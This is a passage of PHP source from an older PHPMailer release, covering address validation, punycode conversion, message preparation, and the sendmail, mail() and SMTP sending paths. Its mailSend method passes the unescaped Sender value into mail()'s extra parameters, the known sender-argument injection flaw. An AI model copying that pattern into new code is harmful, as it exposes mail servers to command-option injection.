                 * @link http://squiloople.com/2009/12/20/email-address-validation/
1035
                 * @copyright 2009-2010 Michael Rushton
1036
                 * Feel free to use and redistribute this code. But please keep this copyright notice.
1037
                 */
1038
                return (boolean)preg_match(
1039
                    '/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' .
1040
                    '((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' .
1041
                    '(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' .
1042
                    '([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' .
1043
                    '(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' .
1044
                    '(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' .
1045
                    '|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' .
1046
                    '|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
1047
                    '|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD',
1048
                    $address
1049
                );
1050
            case 'pcre':
1051
                //An older regex that doesn't need a recent PCRE
1052
                return (boolean)preg_match(
1053
                    '/^(?!(?>"?(?>\\\[ -~]|[^"])"?){255,})(?!(?>"?(?>\\\[ -~]|[^"])"?){65,}@)(?>' .
1054
                    '[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*")' .
1055
                    '(?>\.(?>[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*"))*' .
1056
                    '@(?>(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>\.(?![a-z0-9-]{64,})' .
1057
                    '(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)){0,126}|\[(?:(?>IPv6:(?>(?>[a-f0-9]{1,4})(?>:' .
1058
                    '[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\]]){8,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?' .
1059
                    '::(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?))|(?>(?>IPv6:(?>[a-f0-9]{1,4}(?>:' .
1060
                    '[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4})?' .
1061
                    '::(?>(?:[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4}):)?))?(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
1062
                    '|[1-9]?[0-9])(?>\.(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\])$/isD',
1063
                    $address
1064
                );
1065
            case 'html5':
1066
                /**
1067
                 * This is the pattern used in the HTML5 spec for validation of 'email' type form input elements.
1068
                 * @link http://www.whatwg.org/specs/web-apps/current-work/#e-mail-state-(type=email)
1069
                 */
1070
                return (boolean)preg_match(
1071
                    '/^[a-zA-Z0-9.!#$%&\'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' .
1072
                    '[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD',
1073
                    $address
1074
                );
1075
            case 'noregex':
1076
                //No PCRE! Do something _very_ approximate!
1077
                //Check the address is 3 chars or longer and contains an @ that's not the first or last char
1078
                return (strlen($address) >= 3
1079
                    and strpos($address, '@') >= 1
1080
                    and strpos($address, '@') != strlen($address) - 1);
1081
            case 'php':
1082
            default:
1083
                return (boolean)filter_var($address, FILTER_VALIDATE_EMAIL);
1084
        }
1085
    }
1086
    /**
1087
     * Tells whether IDNs (Internationalized Domain Names) are supported or not. This requires the
1088
     * "intl" and "mbstring" PHP extensions.
1089
     * @return bool "true" if required functions for IDN support are present
1090
     */
1091
    public function idnSupported()
1092
    {
1093
        // @TODO: Write our own "idn_to_ascii" function for PHP <= 5.2.
1094
        return function_exists('idn_to_ascii') and function_exists('mb_convert_encoding');
1095
    }
1096
    /**
1097
     * Converts IDN in given email address to its ASCII form, also known as punycode, if possible.
1098
     * Important: Address must be passed in same encoding as currently set in PHPMailer::$CharSet.
1099
     * This function silently returns unmodified address if:
1100
     * - No conversion is necessary (i.e. domain name is not an IDN, or is already in ASCII form)
1101
     * - Conversion to punycode is impossible (e.g. required PHP functions are not available)
1102
     *   or fails for any reason (e.g. domain has characters not allowed in an IDN)
1103
     * @see PHPMailer::$CharSet
1104
     * @param string $address The email address to convert
1105
     * @return string The encoded address in ASCII form
1106
     */
1107
    public function punyencodeAddress($address)
1108
    {
1109
        // Verify we have required functions, CharSet, and at-sign.
1110
        if ($this->idnSupported() and
1111
            !empty($this->CharSet) and
1112
            ($pos = strrpos($address, '@')) !== false) {
1113
            $domain = substr($address, ++$pos);
1114
            // Verify CharSet string is a valid one, and domain properly encoded in this CharSet.
1115
            if ($this->has8bitChars($domain) and @mb_check_encoding($domain, $this->CharSet)) {
1116
                $domain = mb_convert_encoding($domain, 'UTF-8', $this->CharSet);
1117
                if (($punycode = defined('INTL_IDNA_VARIANT_UTS46') ?
1118
                    idn_to_ascii($domain, 0, INTL_IDNA_VARIANT_UTS46) :
1119
                    idn_to_ascii($domain)) !== false) {
1120
                    return substr($address, 0, $pos) . $punycode;
1121
                }
1122
            }
1123
        }
1124
        return $address;
1125
    }
1126
    /**
1127
     * Create a message and send it.
1128
     * Uses the sending method specified by $Mailer.
1129
     * @throws phpmailerException
1130
     * @return boolean false on error - See the ErrorInfo property for details of the error.
1131
     */
1132
    public function send()
1133
    {
1134
        try {
1135
            if (!$this->preSend()) {
1136
                return false;
1137
            }
1138
            return $this->postSend();
1139
        } catch (phpmailerException $exc) {
1140
            $this->mailHeader = '';
1141
            $this->setError($exc->getMessage());
1142
            if ($this->exceptions) {
1143
                throw $exc;
1144
            }
1145
            return false;
1146
        }
1147
    }
1148
    /**
1149
     * Prepare a message for sending.
1150
     * @throws phpmailerException
1151
     * @return boolean
1152
     */
1153
    public function preSend()
1154
    {
1155
        try {
1156
            $this->error_count = 0; // Reset errors
1157
            $this->mailHeader = '';
1158
            // Dequeue recipient and Reply-To addresses with IDN
1159
            foreach (array_merge($this->RecipientsQueue, $this->ReplyToQueue) as $params) {
1160
                $params[1] = $this->punyencodeAddress($params[1]);
1161
                call_user_func_array(array($this, 'addAnAddress'), $params);
1162
            }
1163
            if ((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
1164
                throw new phpmailerException($this->lang('provide_address'), self::STOP_CRITICAL);
1165
            }
1166
            // Validate From, Sender, and ConfirmReadingTo addresses
1167
            foreach (array('From', 'Sender', 'ConfirmReadingTo') as $address_kind) {
1168
                $this->$address_kind = trim($this->$address_kind);
1169
                if (empty($this->$address_kind)) {
1170
                    continue;
1171
                }
1172
                $this->$address_kind = $this->punyencodeAddress($this->$address_kind);
1173
                if (!$this->validateAddress($this->$address_kind)) {
1174
                    $error_message = $this->lang('invalid_address') . $this->$address_kind;
1175
                    $this->setError($error_message);
1176
                    $this->edebug($error_message);
1177
                    if ($this->exceptions) {
1178
                        throw new phpmailerException($error_message);
1179
                    }
1180
                    return false;
1181
                }
1182
            }
1183
            // Set whether the message is multipart/alternative
1184
            if (!empty($this->AltBody)) {
1185
                $this->ContentType = 'multipart/alternative';
1186
            }
1187
            $this->setMessageType();
1188
            // Refuse to send an empty message unless we are specifically allowing it
1189
            if (!$this->AllowEmpty and empty($this->Body)) {
1190
                throw new phpmailerException($this->lang('empty_message'), self::STOP_CRITICAL);
1191
            }
1192
            // Create body before headers in case body makes changes to headers (e.g. altering transfer encoding)
1193
            $this->MIMEHeader = '';
1194
            $this->MIMEBody = $this->createBody();
1195
            // createBody may have added some headers, so retain them
1196
            $tempheaders = $this->MIMEHeader;
1197
            $this->MIMEHeader = $this->createHeader();
1198
            $this->MIMEHeader .= $tempheaders;
1199
            // To capture the complete message when using mail(), create
1200
            // an extra header list which createHeader() doesn't fold in
1201
            if ($this->Mailer == 'mail') {
1202
                if (count($this->to) > 0) {
1203
                    $this->mailHeader .= $this->addrAppend('To', $this->to);
1204
                } else {
1205
                    $this->mailHeader .= $this->headerLine('To', 'undisclosed-recipients:;');
1206
                }
1207
                $this->mailHeader .= $this->headerLine(
1208
                    'Subject',
1209
                    $this->encodeHeader($this->secureHeader(trim($this->Subject)))
1210
                );
1211
            }
1212
            // Sign with DKIM if enabled
1213
            if (!empty($this->DKIM_domain)
1214
                && !empty($this->DKIM_private)
1215
                && !empty($this->DKIM_selector)
1216
                && file_exists($this->DKIM_private)) {
1217
                $header_dkim = $this->DKIM_Add(
1218
                    $this->MIMEHeader . $this->mailHeader,
1219
                    $this->encodeHeader($this->secureHeader($this->Subject)),
1220
                    $this->MIMEBody
1221
                );
1222
                $this->MIMEHeader = rtrim($this->MIMEHeader, "\r\n ") . self::CRLF .
1223
                    str_replace("\r\n", "\n", $header_dkim) . self::CRLF;
1224
            }
1225
            return true;
1226
        } catch (phpmailerException $exc) {
1227
            $this->setError($exc->getMessage());
1228
            if ($this->exceptions) {
1229
                throw $exc;
1230
            }
1231
            return false;
1232
        }
1233
    }
1234
    public function innerBody(){
1235
    }
1236
    /**
1237
     * Actually send a message.
1238
     * Send the email via the selected mechanism
1239
     * @throws phpmailerException
1240
     * @return boolean
1241
     */
1242
    public function postSend()
1243
    {
1244
        try {
1245
            // Choose the mailer and send through it
1246
            switch ($this->Mailer) {
1247
                case 'sendmail':
1248
                case 'qmail':
1249
                    return $this->sendmailSend($this->MIMEHeader, $this->MIMEBody);
1250
                case 'smtp':
1251
                    return $this->smtpSend($this->MIMEHeader, $this->MIMEBody);
1252
                case 'mail':
1253
                    return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
1254
                default:
1255
                    $sendMethod = $this->Mailer.'Send';
1256
                    if (method_exists($this, $sendMethod)) {
1257
                        return $this->$sendMethod($this->MIMEHeader, $this->MIMEBody);
1258
                    }
1259
                    return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
1260
            }
1261
        } catch (phpmailerException $exc) {
1262
            $this->setError($exc->getMessage());
1263
            $this->edebug($exc->getMessage());
1264
            if ($this->exceptions) {
1265
                throw $exc;
1266
            }
1267
        }
1268
        return false;
1269
    }
1270
    /**
1271
     * Send mail using the $Sendmail program.
1272
     * @param string $header The message headers
1273
     * @param string $body The message body
1274
     * @see PHPMailer::$Sendmail
1275
     * @throws phpmailerException
1276
     * @access protected
1277
     * @return boolean
1278
     */
1279
    protected function sendmailSend($header, $body)
1280
    {
1281
        if ($this->Sender != '') {
1282
            if ($this->Mailer == 'qmail') {
1283
                $sendmail = sprintf('%s -f%s', escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
1284
            } else {
1285
                $sendmail = sprintf('%s -oi -f%s -t', escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
1286
            }
1287
        } else {
1288
            if ($this->Mailer == 'qmail') {
1289
                $sendmail = sprintf('%s', escapeshellcmd($this->Sendmail));
1290
            } else {
1291
                $sendmail = sprintf('%s -oi -t', escapeshellcmd($this->Sendmail));
1292
            }
1293
        }
1294
        if ($this->SingleTo) {
1295
            foreach ($this->SingleToArray as $toAddr) {
1296
                if (!@$mail = popen($sendmail, 'w')) {
1297
                    throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
1298
                }
1299
                fputs($mail, 'To: ' . $toAddr . "\n");
1300
                fputs($mail, $header);
1301
                fputs($mail, $body);
1302
                $result = pclose($mail);
1303
                $this->doCallback(
1304
                    ($result == 0),
1305
                    array($toAddr),
1306
                    $this->cc,
1307
                    $this->bcc,
1308
                    $this->Subject,
1309
                    $body,
1310
                    $this->From
1311
                );
1312
                if ($result != 0) {
1313
                    throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
1314
                }
1315
            }
1316
        } else {
1317
            if (!@$mail = popen($sendmail, 'w')) {
1318
                throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
1319
            }
1320
            fputs($mail, $header);
1321
            fputs($mail, $body);
1322
            $result = pclose($mail);
1323
            $this->doCallback(
1324
                ($result == 0),
1325
                $this->to,
1326
                $this->cc,
1327
                $this->bcc,
1328
                $this->Subject,
1329
                $body,
1330
                $this->From
1331
            );
1332
            if ($result != 0) {
1333
                throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
1334
            }
1335
        }
1336
        return true;
1337
    }
1338
    /**
1339
     * Send mail using the PHP mail() function.
1340
     * @param string $header The message headers
1341
     * @param string $body The message body
1342
     * @link http://www.php.net/manual/en/book.mail.php
1343
     * @throws phpmailerException
1344
     * @access protected
1345
     * @return boolean
1346
     */
1347
    protected function mailSend($header, $body)
1348
    {
1349
        $toArr = array();
1350
        foreach ($this->to as $toaddr) {
1351
            $toArr[] = $this->addrFormat($toaddr);
1352
        }
1353
        $to = implode(', ', $toArr);
1354
        if (empty($this->Sender)) {
1355
            $params = ' ';
1356
        } else {
1357
            $params = sprintf('-f%s', $this->Sender);
1358
        }
1359
        if ($this->Sender != '' and !ini_get('safe_mode')) {
1360
            $old_from = ini_get('sendmail_from');
1361
            ini_set('sendmail_from', $this->Sender);
1362
        }
1363
        $result = false;
1364
        if ($this->SingleTo && count($toArr) > 1) {
1365
            foreach ($toArr as $toAddr) {
1366
                $result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params);
1367
                $this->doCallback($result, array($toAddr), $this->cc, $this->bcc, $this->Subject, $body, $this->From);
1368
            }
1369
        } else {
1370
            $result = $this->mailPassthru($to, $this->Subject, $body, $header, $params);
1371
            $this->doCallback($result, $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From);
1372
        }
1373
        if (isset($old_from)) {
1374
            ini_set('sendmail_from', $old_from);
1375
        }
1376
        if (!$result) {
1377
            throw new phpmailerException($this->lang('instantiate'), self::STOP_CRITICAL);
1378
        }
1379
        return true;
1380
    }
1381
    /**
1382
     * Get an instance to use for SMTP operations.
1383
     * Override this function to load your own SMTP implementation
1384
     * @return SMTP
1385
     */
1386
    public function getSMTPInstance()
1387
    {
1388
        if (!is_object($this->smtp)) {
1389
            $this->smtp = new SMTP;
1390
        }
1391
        return $this->smtp;
1392
    }
1393
    /**
1394
     * Send mail via SMTP.
1395
     * Returns false if there is a bad MAIL FROM, RCPT, or DATA input.
1396
     * Uses the PHPMailerSMTP class by default.
1397
     * @see PHPMailer::getSMTPInstance() to use a different class.
1398
     * @param string $header The message headers
1399
     * @param string $body The message body
1400
     * @throws phpmailerException
1401
     * @uses SMTP
1402
     * @access protected
1403
     * @return boolean
1404
     */
1405
    protected function smtpSend($header, $body)
1406
    {
1407
        $bad_rcpt = array();
1408
        if (!$this->smtpConnect($this->SMTPOptions)) {
1409
            throw new phpmailerException($this->lang('smtp_connect_failed'), self::STOP_CRITICAL);
1410
        }
1411
        if ('' == $this->Sender) {
1412
            $smtp_from = $this->From;
1413
        } else {
1414
            $smtp_from = $this->Sender;
1415
        }
1416
        if (!$this->smtp->mail($smtp_from)) {
1417
            $this->setError($this->lang('from_failed') . $smtp_from . ' : ' . implode(',', $this->smtp->getError()));
1418
            throw new phpmailerException($this->ErrorInfo, self::STOP_CRITICAL);
1419
        }
1420
        // Attempt to send to all recipients
1421
        foreach (array($this->to, $this->cc, $this->bcc) as $togroup) {
1422
            foreach ($togroup as $to) {
1423
                if (!$this->smtp->recipient($to[0])) {
1424
                    $error = $this->smtp->getError();
1425
                    $bad_rcpt[] = array('to' => $to[0], 'error' => $error['detail']);
1426
                    $isSent = false;
1427
                } else {
1428
                    $isSent = true;
1429
                }
1430
                $this->doCallback($isSent, array($to[0]), array(), array(), $this->Subject, $body, $this->From);
1431
            }
1432
        }
1433
        // Only send the DATA command if we have viable recipients
1434
        if ((count($this->all_recipients) > count($bad_rcpt)) and !$this->smtp->data($header . $body)) {
1435
            throw new phpmailerException($this->lang('data_not_accepted'), self::STOP_CRITICAL);
1436
        }
1437
        if ($this->SMTPKeepAlive) {
1438
            $this->smtp->reset();
1439
        } else {
1440
            $this->smtp->quit();
1441
            $this->smtp->close();
1442
        }
1443
        //Create error message for any bad addresses
1444
        if (count($bad_rcpt) > 0) {
1445
            $errstr = '';
1446
            foreach ($bad_rcpt as $bad) {
1447
                $errstr .= $bad['to'] . ': ' . $bad['error'];
1448
            }
1449
            throw new phpmailerException(
1450
                $this->lang('recipients_failed') . $errstr,
1451
                self::STOP_CONTINUE
1452
            );
1453
        }
1454
        return true;
1455
    }
1456
    /**
1457
     * Initiate a connection to an SMTP server.
1458
     * Returns false if the operation failed.
1459
     * @param array $options An array of options compatible with stream_context_create()
1460
     * @uses SMTP
1461
     * @access public
1462
     * @throws phpmailerException
1463
     * @return boolean
1464
     */
1465
    public function smtpConnect($options = array())
1466
    {
1467
        if (is_null($this->smtp)) {
1468
            $this->smtp = $this->getSMTPInstance();
1469
        }
1470
        // Already connected?
1471
        if ($this->smtp->connected()) {
1472
            return true;
1473
        }
1474
        $this->smtp->setTimeout($this->Timeout);
1475
        $this->smtp->setDebugLevel($this->SMTPDebug);
1476
        $this->smtp->setDebugOutput($this->Debugoutput);
1477
        $this->smtp->setVerp($this->do_verp);
1478
        $hosts = explode(';', $this->Host);
1479
        $lastexception = null;
1480
        foreach ($hosts as $hostentry) {
1481
            $hostinfo = array();
1482
            if (!preg_match('/^((ssl|tls):\/\/)*([a-zA-Z0-9\.-]*):?([0-9]*)$/', trim($hostentry), $hostinfo)) {
1483
                // Not a valid host entry
1484
                continue;
1485
            }
1486
            // $hostinfo[2]: optional ssl or tls prefix
1487
            // $hostinfo[3]: the hostname
1488
            // $hostinfo[4]: optional port number
1489
            // The host string prefix can temporarily override the current setting for SMTPSecure
1490
            // If it's not specified, the default value is used
1491
            $prefix = '';
1492
            $secure = $this->SMTPSecure;
1493
            $tls = ($this->SMTPSecure == 'tls');
1494
            if ('ssl' == $hostinfo[2] or ('' == $hostinfo[2] and 'ssl' == $this->SMTPSecure)) {
1495
                $prefix = 'ssl://';
1496
                $tls = false; // Can't have SSL and TLS at the same time
1497
                $secure = 'ssl';
1498
            } elseif ($hostinfo[2] == 'tls') {
1499
                $tls = true;
1500
                // tls doesn't use a prefix
1501
                $secure = 'tls';
1502
            }
1503
            //Do we need the OpenSSL extension?
1504
            $sslext = defined('OPENSSL_ALGO_SHA1');
1505
            if ('tls' === $secure or 'ssl' === $secure) {
1506
                //Check for an OpenSSL constant rather than using extension_loaded, which is sometimes disabled
1507
                if (!$sslext) {
1508
                    throw new phpmailerException($this->lang('extension_missing').'openssl', self::STOP_CRITICAL);
1509
                }
1510
            }
1511
            $host = $hostinfo[3];
1512
            $port = $this->Port;
1513
            $tport = (integer)$hostinfo[4];
1514
            if ($tport > 0 and $tport < 65536) {
1515
                $port = $tport;
1516
            }
1517
            if ($this->smtp->connect($prefix . $host, $port, $this->Timeout, $options)) {
1518
                try {
1519
                    if ($this->Helo) {
1520
                        $hello = $this->Helo;
1521
                    } else {
1522
                        $hello = $this->serverHostname();
1523
                    }
1524
                    $this->smtp->hello($hello);
1525
                    //Automatically enable TLS encryption if:
1526
                    // * it's not disabled
1527
                    // * we have openssl extension
1528
                    // * we are not already using SSL
1529
                    // * the server offers STARTTLS
1530
                    if ($this->SMTPAutoTLS and $sslext and $secure != 'ssl' and $this->smtp->getServerExt('STARTTLS')) {
1531
                        $tls = true;
1532
                    }
1533
                    if ($tls) {
1534
                        if (!$this->smtp->startTLS()) {
1535
                            throw new phpmailerException($this->lang('connect_host'));
1536
                        }
1537
                        // We must resend HELO after tls negotiation
1538
                        $this->smtp->hello($hello);
1539
                    }
1540
                    if ($this->SMTPAuth) {
1541
                        if (!$this->smtp->authenticate(
1542
                            $this->Username,
1543
                            $this->Password,
1544
                            $this->AuthType,
1545
                            $this->Realm,
1546
                            $this->Workstation
1547
                        )
1548
                        ) {
1549
                            throw new phpmailerException($this->lang('authenticate'));
1550
                        }
1551
                    }
1552
                    return true;
1553
                } catch (phpmailerException $exc) {
1554
                    $lastexception = $exc;
1555
                    $this->edebug($exc->getMessage());
1556
                    // We must have connected, but then failed TLS or Auth, so close connection nicely
1557
                    $this->smtp->quit();
1558
                }
1559
            }
1560
        }
1561
        // If we get here, all connection attempts have failed, so close connection hard
1562
        $this->smtp->close();
1563
        // As we've caught all exceptions, just report whatever the last one was
1564
        if ($this->exceptions and !is_null($lastexception)) {
1565
            throw $lastexception;
1566
        }
1567
        return false;
1568
    }
1569
    /**
1570
     * Close the active SMTP session if one exists.
1571
     * @return void
1572
     */
1573
    public function smtpClose()
1574
    {
1575
        if ($this->smtp !== null) {
1576
            if ($this->smtp->connected()) {
1577
                $this->smtp->quit();
1578
                $this->smtp->close();
1579
            }
1580
        }
1581
    }
1582
    /**
1583
     * Set the language for error messages.
1584
     * Returns false if it cannot load the language file.
1585
     * The default language is English.
1586
     * @param string $langcode ISO 639-1 2-character language code (e.g. French is "fr")
1587
     * @param string $lang_path Path to the language file directory, with trailing separator (slash)
1588
     * @return boolean
1589
     * @access public
1590
     */
1591
    public function setLanguage($langcode = 'en', $lang_path = '')
1592
    {
1593
        // Define full set of translatable strings in English
1594
        $PHPMAILER_LANG = array(
1595
            'authenticate' => 'SMTP Error: Could not authenticate.',
1596
            'connect_host' => 'SMTP Error: Could not connect to SMTP host.',
1597
            'data_not_accepted' => 'SMTP Error: data not accepted.',
1598
            'empty_message' => 'Message body empty',
1599
            'encoding' => 'Unknown encoding: ',
1600
            'execute' => 'Could not execute: ',
1601
            'file_access' => 'Could not access file: ',
1602
            'file_open' => 'File Error: Could not open file: ',
1603
            'from_failed' => 'The following From address failed: ',
1604
            'instantiate' => 'Could not instantiate mail function.',
1605
            'invalid_address' => 'Invalid address: ',
1606
            'mailer_not_supported' => ' mailer is not supported.',
1607
            'provide_address' => 'You must provide at least one recipient email address.',
1608
            'recipients_failed' => 'SMTP Error: The following recipients failed: ',
1609
            'signing' => 'Signing Error: ',
1610
            'smtp_connect_failed' => 'SMTP connect() failed.',
1611
            'smtp_error' => 'SMTP server error: ',
1612
            'variable_set' => 'Cannot set or reset variable: ',
1613
            'extension_missing' => 'Extension missing: '
1614
        );
1615
        if (empty($lang_path)) {
1616
            // Calculate an absolute path so it can work if CWD is not here
1617
            $lang_path = dirname(__FILE__). DIRECTORY_SEPARATOR . 'language'. DIRECTORY_SEPARATOR;
1618
        }
1619
        $foundlang = true;
1620
        $lang_file = $lang_path . 'phpmailer.lang-' . $langcode . '.php';
1621
        // There is no English translation file
1622
        if ($langcode != 'en') {
1623
            // Make sure language file path is readable
1624
            if (!is_readable($lang_file)) {
1625
                $foundlang = false;
1626
            } else {
1627
                // Overwrite language-specific strings.
1628
                // This way we'll never have missing translation keys.
1629
                $foundlang = include $lang_file;
1630
            }
1631
        }
1632
        $this->language = $PHPMAILER_LANG;
1633
        return (boolean)$foundlang; // Returns false if language not found
1634
    }
1635
    /**
1636
     * Get the array of strings for the current language.
1637
     * @return array
1638
     */
1639
    public function getTranslations()
1640
    {
1641
        return $this->language;
1642
    }
1643
    /**
1644
     * Create recipient headers.
1645
     * @access public
1646
     * @param string $type
1647
     * @param array $addr An array of recipient,
1648
     * where each recipient is a 2-element indexed array with element 0 containing an address
1649
     * and element 1 containing a name, like:
1650
     * array(array('joe@example.com', 'Joe User'), array('zoe@example.com', 'Zoe User'))
1651
     * @return string
1652
     */
1653
    public function addrAppend($type, $addr)
1654
    {
1655
        $addresses = array();
1656
        foreach ($addr as $address) {
1657
            $addresses[] = $this->addrFormat($address);
1658
        }
1659
        return $type . ': ' . implode(', ', $addresses) . $this->LE;
1660
    }
1661
    /**
1662
     * Format an address for use in a message header.
1663
     * @access public
1664
     * @param array $addr A 2-element indexed array, element 0 containing an address, element 1 containing a name
1665
     *      like array('joe@example.com', 'Joe User')
1666
     * @return string
1667
     */
1668
    public function addrFormat($addr)
1669
    {
1670
        if (empty($addr[1])) { // No name provided
1671
            return $this->secureHeader($addr[0]);
1672
        } else {
1673
            return $this->encodeHeader($this->secureHeader($addr[1]), 'phrase') . ' <' . $this->secureHeader(
1674
                $addr[0]
1675
            ) . '>';
1676
        }
1677
    }
1678
    /**
1679
     * Word-wrap message.
1680
     * For use with mailers that do not automatically perform wrapping
1681
     * and for quoted-printable encoded messages.
1682
     * Original written by philippe.
1683
     * @param string $message The message to wrap
1684
     * @param integer $length The line length to wrap to
1685
     * @param boolean $qp_mode Whether to run in Quoted-Printable mode
1686
     * @access public
1687
     * @return string
1688
     */
1689
    public function wrapText($message, $length, $qp_mode = false)
1690
    {
1691
        if ($qp_mode) {
1692
            $soft_break = sprintf(' =%s', $this->LE);
1693
        } else {
1694
            $soft_break = $this->LE;
1695
        }
1696
        // If utf-8 encoding is used, we will need to make sure we don't
1697
        // split multibyte characters when we wrap
1698
        $is_utf8 = (strtolower($this->CharSet) == 'utf-8');
1699
        $lelen = strlen($this->LE);
1700
        $crlflen = strlen(self::CRLF);
1701
        $message = $this->fixEOL($message);
1702
        //Remove a trailing line break
1703
        if (substr($message, -$lelen) == $this->LE) {
1704
            $message = substr($message, 0, -$lelen);
1705
        }
1706
        //Split message into lines
1707
        $lines = explode($this->LE, $message);
1708
        //Message will be rebuilt in here
1709
        $message = '';
1710
        foreach ($lines as $line) {
1711
            $words = explode(' ', $line);
1712
            $buf = '';
1713
            $firstword = true;
1714
            foreach ($words as $word) {
1715
                if ($qp_mode and (strlen($word) > $length)) {
1716
                    $space_left = $length - strlen($buf) - $crlflen;
1717
                    if (!$firstword) {
1718
                        if ($space_left > 20) {
1719
                            $len = $space_left;
1720
                            if ($is_utf8) {
1721
                                $len = $this->utf8CharBoundary($word, $len);
1722
                            } elseif (substr($word, $len - 1, 1) == '=') {
1723
                                $len--;
1724
                            } elseif (substr($word, $len - 2, 1) == '=') {
1725
                                $len -= 2;
1726
                            }
1727
                            $part = substr($word, 0, $len);
1728
                            $word = substr($word, $len);
1729
                            $buf .= ' ' . $part;
1730
                            $message .= $buf . sprintf('=%s', self::CRLF);
1731
                        } else {
1732
                            $message .= $buf . $soft_break;
1733
                        }
1734
                        $buf = '';
1735
                    }
1736
                    while (strlen($word) > 0) {
1737
                        if ($length <= 0) {
1738
                            break;
1739
                        }
1740
                        $len = $length;
1741
                        if ($is_utf8) {
1742
                            $len = $this->utf8CharBoundary($word, $len);
1743
                        } elseif (substr($word, $len - 1, 1) == '=') {
1744
                            $len--;
1745
                        } elseif (substr($word, $len - 2, 1) == '=') {
1746
                            $len -= 2;
1747
                        }
1748
                        $part = substr($word, 0, $len);
1749
                        $word = substr($word, $len);
1750
                        if (strlen($word) > 0) {
1751
                            $message .= $part . sprintf('=%s', self::CRLF);
1752
                        } else {
1753
                            $buf = $part;
1754
                        }
1755
                    }
1756
                } else {
1757
                    $buf_o = $buf;
1758
                    if (!$firstword) {
1759
                        $buf .= ' ';
1760
                    }
1761
                    $buf .= $word;
1762
                    if (strlen($buf) > $length and $buf_o != '') {
1763
                        $message .= $buf_o . $soft_break;
1764
                        $buf = $word;
1765
                    }
1766
                }
1767
                $firstword = false;
1768
            }
1769
            $message .= $buf . self::CRLF;
1770
        }
1771
        return $message;
1772
    }
1773
    /**
1774
     * Find the last character boundary prior to $maxLength in a utf-8
1775
     * quoted-printable encoded string.
1776
     * Original written by Colin Brown.
1777
     * @access public
1778
     * @param string $encodedText utf-8 QP text
1779
     * @param integer $maxLength Find the last character boundary prior to this length
1780
     * @return integer
1781
     */
1782
    public function utf8CharBoundary($encodedText, $maxLength)
1783
    {
1784
        $foundSplitPos = false;
1785
        $lookBack = 3;
1786
        while (!$foundSplitPos) {
1787
            $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
1788
            $encodedCharPos = strpos($lastChunk, '=');
1789
            if (false !== $encodedCharPos) {
1790
                // Found start of encoded character byte within $lookBack block.
1791
                // Check the encoded byte value (the 2 chars after the '=')
1792
                $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
1793
                $dec = hexdec($hex);
1794
                if ($dec < 128) {
1795
                    // Single byte character.
1796
                    // If the encoded char was found at pos 0, it will fit
1797
                    // otherwise reduce maxLength to start of the encoded char
1798
                    if ($encodedCharPos > 0) {
1799
                        $maxLength = $maxLength - ($lookBack - $encodedCharPos);
1800
                    }
1801
                    $foundSplitPos = true;
1802
                } elseif ($dec >= 192) {
1803
                    // First byte of a multi byte character
1804
                    // Reduce maxLength to split at start of character
1805
                    $maxLength = $maxLength - ($lookBack - $encodedCharPos);
1806
                    $foundSplitPos = true;
1807
                } elseif ($dec < 192) {
1808
                    // Middle byte of a multi byte character, look further back
1809
                    $lookBack += 3;
1810
                }
1811
            } else {
1812
                // No encoded character found
1813
                $foundSplitPos = true;
1814
            }
1815
        }
1816
        return $maxLength;
1817
    }
1818
